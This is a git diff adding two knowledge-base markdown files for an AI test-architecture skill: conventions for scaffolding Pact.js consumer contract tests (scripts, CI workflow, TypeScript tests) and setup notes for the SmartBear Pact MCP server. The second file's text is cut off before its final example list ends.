diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pact-consumer-framework-setup.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pact-consumer-framework-setup.md
new file mode 100644
index 0000000..10557d5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pact-consumer-framework-setup.md
@@ -0,0 +1,635 @@
+# Pact Consumer CDC — Framework Setup
+
+## Principle
+
+When scaffolding a Pact.js consumer contract testing framework, align every artifact — directory layout, vitest config, package.json scripts, shell scripts, CI workflow, and test files — with the canonical `@seontechnologies/pactjs-utils` conventions. Consistency across repositories eliminates onboarding friction and ensures CI pipelines are copy-paste portable.
+
+## Rationale
+
+The TEA framework workflow generates scaffolding for consumer-driven contract (CDC) testing. Without opinionated, battle-tested conventions, each project invents its own structure — different script names, different env var patterns, different CI step ordering — making cross-repo maintenance expensive. This fragment codifies the production-proven patterns from the pactjs-utils reference implementation so that every new project starts correctly.
+
+## Pattern Examples
+
+### Example 1: Directory Structure & File Naming
+
+**Context**: Consumer contract test project layout using pactjs-utils conventions.
+
+**Implementation**:
+
+```
+tests/contract/
+├── consumer/
+│   ├── get-filter-fields.pacttest.ts    # Consumer test (one per endpoint group)
+│   ├── filter-transactions.pacttest.ts
+│   └── get-transaction-stats.pacttest.ts
+└── support/
+    ├── pact-config.ts                   # PactV4 factory (consumer/provider names, output dir)
+    ├── provider-states.ts               # Provider state factory functions
+    └── consumer-helpers.ts              # Local shim (until pactjs-utils is published)
+
+scripts/
+├── env-setup.sh                         # Shared env loader (sourced by all broker scripts)
+├── publish-pact.sh                      # Publish pact files to broker
+├── can-i-deploy.sh                      # Deployment safety check
+└── record-deployment.sh                 # Record deployment after merge
+
+.github/
+├── actions/
+│   └── detect-breaking-change/
+│       └── action.yml                   # PR checkbox-driven breaking change detection
+└── workflows/
+    └── contract-test-consumer.yml       # Consumer CDC CI workflow
+```
+
+**Key Points**:
+
+- Consumer tests use `.pacttest.ts` extension (not `.pact.spec.ts` or `.contract.ts`)
+- Support files live in `tests/contract/support/`, not mixed with consumer tests
+- Shell scripts live in `scripts/` at project root, not nested inside test directories
+- CI workflow named `contract-test-consumer.yml` (not `pact-consumer.yml` or other variants)
+
+---
+
+### Example 2: Vitest Configuration for Pact
+
+**Context**: Minimal vitest config dedicated to contract tests — do NOT copy settings from the project's main `vitest.config.ts`.
+
+**Implementation**:
+
+```typescript
+// vitest.config.pact.ts
+import { defineConfig } from 'vitest/config';
+
+export default defineConfig({
+  test: {
+    environment: 'node',
+    include: ['tests/contract/**/*.pacttest.ts'],
+    testTimeout: 30000,
+  },
+});
+```
+
+**Key Points**:
+
+- Do NOT add `pool`, `poolOptions`, `setupFiles`, `coverage`, or other settings from the unit test config
+- Keep it minimal — Pact tests run in Node environment with extended timeout
+- 30 second timeout accommodates Pact mock server startup and interaction verification
+- Use a dedicated config file (`vitest.config.pact.ts`), not the main vitest config
+
+---
+
+### Example 3: Package.json Script Naming
+
+**Context**: Colon-separated naming matching pactjs-utils exactly. Scripts source `env-setup.sh` inline.
+
+**Implementation**:
+
+```json
+{
+  "scripts": {
+    "test:pact:consumer": "vitest run --config vitest.config.pact.ts",
+    "publish:pact": ". ./scripts/env-setup.sh && ./scripts/publish-pact.sh",
+    "can:i:deploy:consumer": ". ./scripts/env-setup.sh && PACTICIPANT=<service-name> ./scripts/can-i-deploy.sh",
+    "record:consumer:deployment": ". ./scripts/env-setup.sh && PACTICIPANT=<service-name> ./scripts/record-deployment.sh"
+  }
+}
+```
+
+Replace `<service-name>` with the consumer's pacticipant name (e.g., `my-frontend-app`).
+
+**Key Points**:
+
+- Use colon-separated naming: `test:pact:consumer`, NOT `test:contract` or `test:contract:consumer`
+- Broker scripts source `env-setup.sh` inline in package.json (`. ./scripts/env-setup.sh && ...`)
+- `PACTICIPANT` is set per-script invocation, not globally
+- Do NOT use `npx pact-broker` — use `pact-broker` directly (installed as a dependency)
+
+---
+
+### Example 4: Shell Scripts
+
+**Context**: Reusable bash scripts aligned with pactjs-utils conventions.
+
+#### `scripts/env-setup.sh` — Shared Environment Loader
+
+```bash
+#!/bin/bash
+# -e: exit on error  -u: error on undefined vars (catches typos/missing env vars in CI)
+set -eu
+
+if [ -f .env ]; then
+  set -a
+  source .env
+  set +a
+fi
+
+export GITHUB_SHA="${GITHUB_SHA:-$(git rev-parse --short HEAD)}"
+export GITHUB_BRANCH="${GITHUB_BRANCH:-$(git rev-parse --abbrev-ref HEAD)}"
+```
+
+#### `scripts/publish-pact.sh` — Publish Pacts to Broker
+
+```bash
+#!/bin/bash
+# Publish generated pact files to PactFlow/Pact Broker
+#
+# Requires: PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA, GITHUB_BRANCH
+# -e: exit on error  -u: error on undefined vars  -o pipefail: fail if any pipe segment fails
+set -euo pipefail
+
+. ./scripts/env-setup.sh
+
+PACT_DIR="./pacts"
+
+pact-broker publish "$PACT_DIR" \
+    --consumer-app-version="$GITHUB_SHA" \
+    --branch="$GITHUB_BRANCH" \
+    --broker-base-url="$PACT_BROKER_BASE_URL" \
+    --broker-token="$PACT_BROKER_TOKEN"
+```
+
+#### `scripts/can-i-deploy.sh` — Deployment Safety Check
+
+```bash
+#!/bin/bash
+# Check if a pacticipant version can be safely deployed
+#
+# Requires: PACTICIPANT (set by caller), PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA
+# -e: exit on error  -u: error on undefined vars  -o pipefail: fail if any pipe segment fails
+set -euo pipefail
+
+. ./scripts/env-setup.sh
+
+PACTICIPANT="${PACTICIPANT:?PACTICIPANT env var is required}"
+ENVIRONMENT="${ENVIRONMENT:-dev}"
+
+pact-broker can-i-deploy \
+    --pacticipant "$PACTICIPANT" \
+    --version="$GITHUB_SHA" \
+    --to-environment "$ENVIRONMENT" \
+    --retry-while-unknown=10 \
+    --retry-interval=30
+```
+
+#### `scripts/record-deployment.sh` — Record Deployment
+
+```bash
+#!/bin/bash
+# Record a deployment to an environment in Pact Broker
+# Only records on main/master branch (skips feature branches)
+#
+# Requires: PACTICIPANT, PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA, GITHUB_BRANCH
+# -e: exit on error  -u: error on undefined vars  -o pipefail: fail if any pipe segment fails
+set -euo pipefail
+
+. ./scripts/env-setup.sh
+
+PACTICIPANT="${PACTICIPANT:?PACTICIPANT env var is required}"
+
+if [ "$GITHUB_BRANCH" = "main" ] || [ "$GITHUB_BRANCH" = "master" ]; then
+  pact-broker record-deployment \
+      --pacticipant "$PACTICIPANT" \
+      --version "$GITHUB_SHA" \
+      --environment "${npm_config_env:-dev}"
+else
+  echo "Skipping record-deployment: not on main branch (current: $GITHUB_BRANCH)"
+fi
+```
+
+**Key Points**:
+
+- `env-setup.sh` uses `set -eu` (no pipefail — it only sources `.env`, no pipes); broker scripts use `set -euo pipefail`
+- Use `pact-broker` directly, NOT `npx pact-broker`
+- Use `PACTICIPANT` env var (required via `${PACTICIPANT:?...}`), not hardcoded service names
+- `can-i-deploy` includes `--retry-while-unknown=10 --retry-interval=30` (waits for provider verification)
+- `record-deployment` has branch guard (only records on main/master)
+- Do NOT invent custom env vars like `PACT_CONSUMER_VERSION` or `PACT_BREAKING_CHANGE` in scripts — those are handled by `env-setup.sh` and the CI detect-breaking-change action respectively
+
+---
+
+### Example 5: CI Workflow (`contract-test-consumer.yml`)
+
+**Context**: GitHub Actions workflow for consumer CDC, matching pactjs-utils structure exactly.
+
+**Implementation**:
+
+```yaml
+name: Contract Test - Consumer
+on:
+  pull_request:
+    types: [opened, synchronize, reopened, edited]
+  push:
+    branches: [main]
+
+env:
+  PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+  PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+  GITHUB_SHA: ${{ github.sha }}
+  GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.head_ref || github.ref }}
+  cancel-in-progress: true
+
+jobs:
+  consumer-contract-test:
+    if: github.actor != 'dependabot[bot]'
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v6
+
+      - uses: actions/setup-node@v6
+        with:
+          node-version-file: '.nvmrc'
+          cache: 'npm'
+
+      - name: Detect Pact breaking change
+        uses: ./.github/actions/detect-breaking-change
+
+      - name: Install dependencies
+        run: npm ci
+
+      # (1) Generate pact files
+      - name: Run consumer contract tests
+        run: npm run test:pact:consumer
+
+      # (2) Publish pacts to broker
+      - name: Publish pacts to PactFlow
+        run: npm run publish:pact
+
+      # After publish, PactFlow fires a webhook that triggers
+      # the provider's contract-test-provider.yml workflow.
+      # can-i-deploy retries while waiting for provider verification.
+
+      # (4) Check deployment safety (main only — on PRs, local verification is the gate)
+      - name: Can I deploy consumer? (main only)
+        if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
+        run: npm run can:i:deploy:consumer
+
+      # (5) Record deployment (main only)
+      - name: Record consumer deployment (main only)
+        if: github.ref == 'refs/heads/main'
+        run: npm run record:consumer:deployment --env=dev
+```
+
+**Key Points**:
+
+- **Workflow-level `env` block** for broker secrets and git vars — not per-step
+- **`detect-breaking-change` step** runs before install to set `PACT_BREAKING_CHANGE` env var
+- **Step numbering skips (3)** — step 3 is the webhook-triggered provider verification (happens externally)
+- **can-i-deploy condition**: `github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'`
+- **Comment on (4)**: "on PRs, local verification is the gate"
+- **No upload-artifact step** — the broker is the source of truth for pact files
+- **`dependabot[bot]` skip** on the job (contract tests don't run for dependency updates)
+- **PR types include `edited`** — needed for breaking change checkbox detection in PR body
+- **`GITHUB_BRANCH`** uses `${{ github.head_ref || github.ref_name }}` — `head_ref` for PRs, `ref_name` for pushes
+
+---
+
+### Example 6: Detect Breaking Change Composite Action
+
+**Context**: GitHub composite action that reads a `[x] Pact breaking change` checkbox from the PR body.
+
+**Implementation**:
+
+Create `.github/actions/detect-breaking-change/action.yml`:
+
+```yaml
+name: 'Detect Pact Breaking Change'
+description: 'Reads the PR template checkbox to determine if this change is a Pact breaking change. Sets PACT_BREAKING_CHANGE env var.'
+
+outputs:
+  is_breaking_change:
+    description: 'Whether the change is a breaking change (true/false)'
+    value: ${{ steps.result.outputs.is_breaking_change }}
+
+runs:
+  using: 'composite'
+  steps:
+    # PR event path: read checkbox directly from current PR body.
+    - name: Set PACT_BREAKING_CHANGE from PR description (PR only)
+      if: github.event_name == 'pull_request'
+      uses: actions/github-script@v7
+      with:
+        script: |
+          const prBody = context.payload.pull_request.body || '';
+          const breakingChangePattern = /\[\s*[xX]\s*\]\s*Pact breaking change/i;
+          const isBreakingChange = breakingChangePattern.test(prBody);
+          core.exportVariable('PACT_BREAKING_CHANGE', isBreakingChange ? 'true' : 'false');
+          console.log(`PACT_BREAKING_CHANGE=${isBreakingChange ? 'true' : 'false'} (from PR description checkbox).`);
+
+    # Push-to-main path: resolve the merged PR and read the same checkbox.
+    - name: Set PACT_BREAKING_CHANGE from merged PR (push to main)
+      if: github.event_name == 'push' && github.ref == 'refs/heads/main'
+      uses: actions/github-script@v7
+      with:
+        script: |
+          const { data: prs } = await github.rest.repos.listPullRequestsAssociatedWithCommit({
+            owner: context.repo.owner,
+            repo: context.repo.repo,
+            commit_sha: context.sha,
+          });
+          const merged = prs.find(pr => pr.merged_at);
+          const mergedBody = merged?.body || '';
+          const breakingChangePattern = /\[\s*[xX]\s*\]\s*Pact breaking change/i;
+          const isBreakingChange = breakingChangePattern.test(mergedBody);
+          core.exportVariable('PACT_BREAKING_CHANGE', isBreakingChange ? 'true' : 'false');
+          console.log(`PACT_BREAKING_CHANGE=${isBreakingChange ? 'true' : 'false'} (from merged PR lookup).`);
+
+    - name: Export result
+      id: result
+      shell: bash
+      run: echo "is_breaking_change=${PACT_BREAKING_CHANGE:-false}" >> "$GITHUB_OUTPUT"
+```
+
+**Key Points**:
+
+- Two separate conditional steps (better CI log readability than single if/else)
+- PR path: reads checkbox directly from PR body
+- Push-to-main path: resolves merged PR via GitHub API, reads same checkbox
+- Exports `PACT_BREAKING_CHANGE` env var for downstream steps
+- `outputs.is_breaking_change` available for consuming workflows
+- Uses a case-insensitive checkbox regex (`/\[\s*[xX]\s*\]\s*Pact breaking change/i`) to detect checked states robustly
+
+---
+
+### Example 7: Consumer Test Using PactV4 Builder
+
+**Context**: Consumer pact test using PactV4 `addInteraction()` builder pattern. The test MUST call **real consumer code** (your actual API client/service functions) against the mock server — not raw `fetch()`. Using `fetch()` directly defeats the purpose of CDC testing because it doesn't verify your actual consumer code works with the contract.
+
+**Implementation**:
+
+The consumer code must expose a way to inject the base URL (e.g., `setApiUrl()`, constructor parameter, or environment variable). This is a prerequisite for contract testing.
+
+```typescript
+// src/api/movie-client.ts — The REAL consumer code (already exists in your project)
+import axios from 'axios';
+
+const axiosInstance = axios.create({
+  baseURL: process.env.API_URL || 'http://localhost:3001',
+});
+
+// Expose a way to override the base URL for Pact testing
+export const setApiUrl = (url: string) => {
+  axiosInstance.defaults.baseURL = url;
+};
+
+export const getMovies = async () => {
+  const res = await axiosInstance.get('/movies');
+  return res.data;
+};
+
+export const getMovieById = async (id: number) => {
+  const res = await axiosInstance.get(`/movies/${id}`);
+  return res.data;
+};
+```
+
+```typescript
+// tests/contract/consumer/get-movies.pacttest.ts
+import { MatchersV3 } from '@pact-foundation/pact';
+import type { V3MockServer } from '@pact-foundation/pact';
+import { createProviderState, setJsonBody, setJsonContent } from '../support/consumer-helpers';
+import { movieExists } from '../support/provider-states';
+import { createPact } from '../support/pact-config';
+// Import REAL consumer code — this is what we're actually testing
+import { getMovies, getMovieById, setApiUrl } from '../../../src/api/movie-client';
+
+const { like, integer, string } = MatchersV3;
+
+const pact = createPact();
+
+describe('Movies API Consumer Contract', () => {
+  const movieWithId = { id: 1, name: 'The Matrix', year: 1999, rating: 8.7, director: 'Wachowskis' };
+
+  it('should get a movie by ID', async () => {
+    const [stateName, stateParams] = createProviderState(movieExists(movieWithId));
+
+    await pact
+      .addInteraction()
+      .given(stateName, stateParams)
+      .uponReceiving('a request to get movie by ID')
+      .withRequest(
+        'GET',
+        '/movies/1',
+        setJsonContent({
+          headers: { Accept: 'application/json' },
+        }),
+      )
+      .willRespondWith(
+        200,
+        setJsonBody(
+          like({
+            id: integer(1),
+            name: string('The Matrix'),
+            year: integer(1999),
+            rating: like(8.7),
+            director: string('Wachowskis'),
+          }),
+        ),
+      )
+      .executeTest(async (mockServer: V3MockServer) => {
+        // Inject mock server URL into the REAL consumer code
+        setApiUrl(mockServer.url);
+
+        // Call the REAL consumer function — this is what CDC testing validates
+        const movie = await getMovieById(1);
+
+        expect(movie.id).toBe(1);
+        expect(movie.name).toBe('The Matrix');
+      });
+  });
+
+  it('should handle movie not found', async () => {
+    await pact
+      .addInteraction()
+      .given('No movies exist')
+      .uponReceiving('a request for a non-existent movie')
+      .withRequest('GET', '/movies/999')
+      .willRespondWith(404, setJsonBody({ error: 'Movie not found' }))
+      .executeTest(async (mockServer: V3MockServer) => {
+        setApiUrl(mockServer.url);
+
+        await expect(getMovieById(999)).rejects.toThrow();
+      });
+  });
+});
+```
+
+**Key Points**:
+
+- **CRITICAL**: Always test your REAL consumer code — import and call actual API client functions, never raw `fetch()`
+- Using `fetch()` directly only tests that Pact's mock server works, which is meaningless
+- Consumer code MUST expose a URL injection mechanism: `setApiUrl()`, env var override, or constructor parameter
+- If the consumer code doesn't support URL injection, add it — this is a design prerequisite for CDC testing
+- Use PactV4 `addInteraction()` builder (not PactV3 fluent API with `withRequest({...})` object)
+- **Interaction naming convention**: Use the pattern `"a request to <action> <resource> [<condition>]"` for `uponReceiving()`. Examples: `"a request to get a movie by ID"`, `"a request to delete a non-existing movie"`, `"a request to create a movie that already exists"`. These names appear in Pact Broker UI and verification logs — keep them descriptive and unique within the consumer-provider pair.
+- Use `setJsonContent` for request/response builder callbacks with query/header/body concerns; use `setJsonBody` for body-only response callbacks
+- Provider state factory functions (`movieExists`) return `ProviderStateInput` objects
+- `createProviderState` converts to `[stateName, stateParams]` tuple for `.given()`
+
+**Common URL injection patterns** (pick whichever fits your consumer architecture):
+
+| Pattern              | Example                                      | Best For              |
+| -------------------- | -------------------------------------------- | --------------------- |
+| `setApiUrl(url)`     | Mutates axios instance `baseURL`             | Singleton HTTP client |
+| Constructor param    | `new ApiClient({ baseUrl: mockServer.url })` | Class-based clients   |
+| Environment variable | `process.env.API_URL = mockServer.url`       | Config-driven apps    |
+| Factory function     | `createApi({ baseUrl: mockServer.url })`     | Functional patterns   |
+
+---
+
+### Example 8: Support Files
+
+#### Pact Config Factory
+
+```typescript
+// tests/contract/support/pact-config.ts
+import path from 'node:path';
+import { PactV4 } from '@pact-foundation/pact';
+
+export const createPact = (overrides?: { consumer?: string; provider?: string }) =>
+  new PactV4({
+    dir: path.resolve(process.cwd(), 'pacts'),
+    consumer: overrides?.consumer ?? 'MyConsumerApp',
+    provider: overrides?.provider ?? 'MyProviderAPI',
+    logLevel: 'warn',
+  });
+```
+
+#### Provider State Factories
+
+```typescript
+// tests/contract/support/provider-states.ts
+import type { ProviderStateInput } from './consumer-helpers';
+
+export const movieExists = (movie: { id: number; name: string; year: number; rating: number; director: string }): ProviderStateInput => ({
+  name: 'An existing movie exists',
+  params: movie,
+});
+
+export const hasMovieWithId = (id: number): ProviderStateInput => ({
+  name: 'Has a movie with a specific ID',
+  params: { id },
+});
+```
+
+#### Local Consumer Helpers Shim
+
+```typescript
+// tests/contract/support/consumer-helpers.ts
+// TODO(temporary scaffolding): Replace local TemplateHeaders/TemplateQuery types
+// with '@seontechnologies/pactjs-utils' exports when available.
+
+type TemplateHeaders = Record<string, string | number | boolean>;
+type TemplateQueryValue = string | number | boolean | Array<string | number | boolean>;
+type TemplateQuery = Record<string, TemplateQueryValue>;
+
+export type ProviderStateInput = {
+  name: string;
+  params: Record<string, unknown>;
+};
+
+type JsonMap = { [key: string]: boolean | number | string | null | JsonMap | Array<unknown> };
+type JsonContentBuilder = {
+  headers: (headers: TemplateHeaders) => unknown;
+  jsonBody: (body: unknown) => unknown;
+  query?: (query: TemplateQuery) => unknown;
+};
+
+export type JsonContentInput = {
+  body?: unknown;
+  headers?: TemplateHeaders;
+  query?: TemplateQuery;
+};
+
+export const toJsonMap = (obj: Record<string, unknown>): JsonMap =>
+  Object.fromEntries(
+    Object.entries(obj).map(([key, value]) => {
+      if (value === null || value === undefined) return [key, 'null'];
+      if (typeof value === 'object' && !(value instanceof Date) && !Array.isArray(value)) return [key, JSON.stringify(value)];
+      if (typeof value === 'number' || typeof value === 'boolean') return [key, value];
+      if (value instanceof Date) return [key, value.toISOString()];
+      return [key, String(value)];
+    }),
+  );
+
+export const createProviderState = ({ name, params }: ProviderStateInput): [string, JsonMap] => [name, toJsonMap(params)];
+
+export const setJsonContent =
+  ({ body, headers, query }: JsonContentInput) =>
+  (builder: JsonContentBuilder): void => {
+    if (query && builder.query) {
+      builder.query(query);
+    }
+
+    if (headers) {
+      builder.headers(headers);
+    }
+
+    if (body !== undefined) {
+      builder.jsonBody(body);
+    }
+  };
+
+export const setJsonBody = (body: unknown) => setJsonContent({ body });
+```
+
+**Key Points**:
+
+- If `@seontechnologies/pactjs-utils` is not yet installed, create a local shim that mirrors the API
+- Add a TODO comment noting to swap for the published package when available
+- The shim exports `createProviderState`, `toJsonMap`, `setJsonContent`, `setJsonBody`, and helper input types
+- Keep shim types local (or sourced from public exports only); do not import from internal Pact paths like `@pact-foundation/pact/src/*`
+
+---
+
+### Example 9: .gitignore Entries
+
+**Context**: Pact-specific entries to add to `.gitignore`.
+
+```
+# Pact contract testing artifacts
+/pacts/
+pact-logs/
+```
+
+---
+
+## Validation Checklist
+
+Before presenting the consumer CDC framework to the user, verify:
+
+- [ ] `vitest.config.pact.ts` is minimal (no pool/coverage/setup copied from unit config)
+- [ ] Script names match pactjs-utils (`test:pact:consumer`, `publish:pact`, `can:i:deploy:consumer`, `record:consumer:deployment`)
+- [ ] Scripts source `env-setup.sh` inline in package.json
+- [ ] Shell scripts use `pact-broker` not `npx pact-broker`
+- [ ] Shell scripts use `PACTICIPANT` env var pattern
+- [ ] `can-i-deploy.sh` has `--retry-while-unknown=10 --retry-interval=30`
+- [ ] `record-deployment.sh` has branch guard
+- [ ] `env-setup.sh` uses `set -eu`; broker scripts use `set -euo pipefail` — each with explanatory comment
+- [ ] CI workflow named `contract-test-consumer.yml`
+- [ ] CI has workflow-level env block (not per-step)
+- [ ] CI has `detect-breaking-change` step before install
+- [ ] CI step numbering skips (3) — webhook-triggered provider verification
+- [ ] CI can-i-deploy has `PACT_BREAKING_CHANGE != 'true'` condition
+- [ ] CI has NO upload-artifact step
+- [ ] `.github/actions/detect-breaking-change/action.yml` exists
+- [ ] Consumer tests use `.pacttest.ts` extension
+- [ ] Consumer tests use PactV4 `addInteraction()` builder
+- [ ] `uponReceiving()` names follow `"a request to <action> <resource> [<condition>]"` pattern and are unique within the consumer-provider pair
+- [ ] Interaction callbacks use `setJsonContent` for query/header/body and `setJsonBody` for body-only responses
+- [ ] Request bodies use exact values (no `like()` wrapper) — Postel's Law: be strict in what you send
+- [ ] `like()`, `eachLike()`, `string()`, `integer()` matchers are only used in `willRespondWith` (responses), not in `withRequest` (requests) — matchers check type/shape, not exact values
+- [ ] Consumer tests call REAL consumer code (actual API client functions), NOT raw `fetch()`
+- [ ] Consumer code exposes URL injection mechanism (`setApiUrl()`, env var, or constructor param)
+- [ ] Local consumer-helpers shim present if pactjs-utils not installed
+- [ ] `.gitignore` includes `/pacts/` and `pact-logs/`
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — Library decision tree and installation
+- `pactjs-utils-consumer-helpers.md` — `createProviderState`, `toJsonMap`, `setJsonContent`, and `setJsonBody` API details
+- `pactjs-utils-provider-verifier.md` — Provider-side verification patterns
+- `pactjs-utils-request-filter.md` — Auth injection for provider verification
+- `contract-testing.md` — Foundational CDC patterns and resilience coverage
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pact-mcp.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pact-mcp.md
new file mode 100644
index 0000000..3badcaf
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pact-mcp.md
@@ -0,0 +1,204 @@
+# Pact MCP Server (SmartBear)
+
+## Principle
+
+Use the SmartBear MCP server to enable AI agent interaction with PactFlow/Pact Broker during contract testing workflows. The MCP server provides tools for generating pact tests, fetching provider states, reviewing test quality, and checking deployment safety — all accessible through the Model Context Protocol.
+
+## Rationale
+
+### Why MCP for contract testing?
+
+- **Live broker queries**: AI agents can fetch existing provider states, verification results, and deployment status directly from PactFlow
+- **Test generation assistance**: MCP tools generate consumer and provider tests based on existing contracts, OpenAPI specs, or templates
+- **Automated review**: MCP-powered review checks tests against best practices without manual inspection
+- **Deployment safety**: `can-i-deploy` checks integrated into agent workflows for real-time compatibility verification
+
+### When TEA uses it
+
+- **test-design workflow**: Fetch existing provider states to understand current contract landscape
+- **automate workflow**: Generate pact tests using broker knowledge and existing contracts
+- **test-review workflow**: Review pact tests against best practices with automated feedback
+- **ci workflow**: Reference can-i-deploy and matrix tools for pipeline guidance
+
+## Available Tools
+
+| #   | Tool                      | Description                                                             | When Used             |
+| --- | ------------------------- | ----------------------------------------------------------------------- | --------------------- |
+| 1   | **Generate Pact Tests**   | Create consumer/provider tests from code, OpenAPI, or templates         | automate workflow     |
+| 2   | **Fetch Provider States** | List all provider states from broker for a given consumer-provider pair | test-design, automate |
+| 3   | **Review Pact Tests**     | Analyze tests against contract testing best practices                   | test-review           |
+| 4   | **Can I Deploy**          | Check deployment safety via broker verification matrix                  | ci workflow           |
+| 5   | **Matrix**                | Query consumer-provider verification matrix                             | ci, test-design       |
+| 6   | **PactFlow AI Status**    | Check AI credits and permissions (PactFlow Cloud only)                  | diagnostics           |
+| 7   | **Metrics - All**         | Workspace-wide contract testing metrics                                 | reporting             |
+| 8   | **Metrics - Team**        | Team-level adoption statistics (PactFlow Cloud only)                    | reporting             |
+
+## Installation
+
+### Config file locations
+
+| Tool              | Global Config File                    | Format                 |
+| ----------------- | ------------------------------------- | ---------------------- |
+| Claude Code       | `~/.claude.json`                      | JSON (`mcpServers`)    |
+| Codex             | `~/.codex/config.toml`                | TOML (`[mcp_servers]`) |
+| Gemini CLI        | `~/.gemini/settings.json`             | JSON (`mcpServers`)    |
+| Cursor            | `~/.cursor/mcp.json`                  | JSON (`mcpServers`)    |
+| Windsurf          | `~/.codeium/windsurf/mcp_config.json` | JSON (`mcpServers`)    |
+| VS Code (Copilot) | `.vscode/mcp.json`                    | JSON (`servers`)       |
+
+> **Claude Code tip**: Prefer the `claude mcp add` CLI over manual JSON editing. Use `-s user` for global (all projects) or omit for per-project (default).
+
+### CLI shortcuts (Claude Code and Codex)
+
+```bash
+# Claude Code — use add-json for servers with env vars (-s user = global)
+claude mcp add-json -s user smartbear \
+  '{"type":"stdio","command":"npx","args":["-y","@smartbear/mcp@latest"],"env":{"PACT_BROKER_BASE_URL":"https://{tenant}.pactflow.io","PACT_BROKER_TOKEN":"<your-token>"}}'
+
+# Codex
+codex mcp add smartbear -- npx -y @smartbear/mcp@latest
+```
+
+### JSON config (Gemini CLI, Cursor, Windsurf)
+
+Add a `"smartbear"` entry to the `mcpServers` object in the config file for your tool:
+
+```json
+{
+  "mcpServers": {
+    "smartbear": {
+      "type": "stdio",
+      "command": "npx",
+      "args": ["-y", "@smartbear/mcp@latest"],
+      "env": {
+        "PACT_BROKER_BASE_URL": "https://{tenant}.pactflow.io",
+        "PACT_BROKER_TOKEN": "<your-api-token>"
+      }
+    }
+  }
+}
+```
+
+### Codex TOML config
+
+Codex uses TOML instead of JSON. Add to `~/.codex/config.toml`:
+
+```toml
+[mcp_servers.smartbear]
+command = "npx"
+args = ["-y", "@smartbear/mcp@latest"]
+
+[mcp_servers.smartbear.env]
+PACT_BROKER_BASE_URL = "https://{tenant}.pactflow.io"
+PACT_BROKER_TOKEN = "<your-api-token>"
+```
+
+Note the key is `mcp_servers` (underscored), not `mcpServers`.
+
+### VS Code (GitHub Copilot)
+
+Add to `.vscode/mcp.json` (note: uses `servers` key, not `mcpServers`):
+
+```json
+{
+  "servers": {
+    "smartbear": {
+      "type": "stdio",
+      "command": "npx",
+      "args": ["-y", "@smartbear/mcp@latest"],
+      "env": {
+        "PACT_BROKER_BASE_URL": "https://{tenant}.pactflow.io",
+        "PACT_BROKER_TOKEN": "${input:pactToken}"
+      }
+    }
+  }
+}
+```
+
+> **Note**: Set either `PACT_BROKER_TOKEN` (for PactFlow) or `PACT_BROKER_USERNAME`+`PACT_BROKER_PASSWORD` (for self-hosted). Leave unused vars empty.
+
+## Required Environment Variables
+
+| Variable               | Required                     | Description                             |
+| ---------------------- | ---------------------------- | --------------------------------------- |
+| `PACT_BROKER_BASE_URL` | Yes (for Pact features)      | PactFlow or self-hosted Pact Broker URL |
+| `PACT_BROKER_TOKEN`    | For PactFlow / token auth    | API token for broker authentication     |
+| `PACT_BROKER_USERNAME` | For basic auth (self-hosted) | Username for basic authentication       |
+| `PACT_BROKER_PASSWORD` | For basic auth (self-hosted) | Password for basic authentication       |
+
+**Authentication**: Use token auth (`PACT_BROKER_TOKEN`) for PactFlow. Use basic auth (`PACT_BROKER_USERNAME` + `PACT_BROKER_PASSWORD`) for self-hosted Pact Broker instances. Only one auth method is needed.
+
+**Requirements**: Node.js 20+
+
+## Pattern Examples
+
+### Example 1: Fetching Provider States During Test Design
+
+When designing contract tests, use MCP to query existing provider states:
+
+```
+# Agent queries SmartBear MCP during test-design workflow:
+# → Fetch Provider States for consumer="movie-web", provider="SampleMoviesAPI"
+# ← Returns: ["movie with id 1 exists", "no movies exist", "user is authenticated"]
+#
+# Agent uses this to generate comprehensive consumer tests covering all states
+```
+
+### Example 2: Reviewing Pact Tests
+
+During test-review workflow, use MCP to evaluate test quality:
+
+```
+# Agent submits test file to SmartBear MCP Review tool:
+# → Review Pact Tests with test file content
+# ← Returns: feedback on matcher usage, state coverage, interaction naming
+#
+# Agent incorporates feedback into review report
+```
+
+### Example 3: Can I Deploy Check in CI
+
+During CI workflow design, reference the can-i-deploy tool:
+
+```
+# Agent generates CI pipeline with can-i-deploy gate:
+# → Can I Deploy: pacticipant="SampleMoviesAPI", version="${GITHUB_SHA}", to="production"
+# ← Returns: { ok: true/false, reason: "..." }
+#
+# Agent designs pipeline to block deployment if can-i-deploy fails
+```
+
+## Key Points
+
+- **Per-project install recommended**: Different projects may target different PactFlow tenants — match TEA's per-project config philosophy
+- **Env vars are project-specific**: `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` vary by project/team
+- **Node.js 20+ required**: SmartBear MCP server requires Node.js 20 or higher
+- **PactFlow Cloud features**: Some tools (AI Status, Team Metrics) are only available with PactFlow Cloud, not self-hosted Pact Broker
+- **Complements pactjs-utils**: MCP provides broker interaction during design/review; pactjs-utils provides runtime utilities for test code
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — runtime utilities that pact tests import
+- `pactjs-utils-provider-verifier.md` — verifier options that reference broker config
+- `contract-testing.md` — foundational contract testing patterns
+
+## Anti-Patterns
+
+### Wrong: Using MCP for runtime test execution
+
+```
+# ❌ Don't use MCP to run pact tests — use npm scripts and CI pipelines
+# MCP is for agent-assisted design, generation, and review
+```
+
+### Right: Use MCP for design-time assistance
+
+```
+# ✅ Use MCP during planning and review:
+# - Fetch provider states to inform test design
+# - Generate test scaffolds from existing contracts
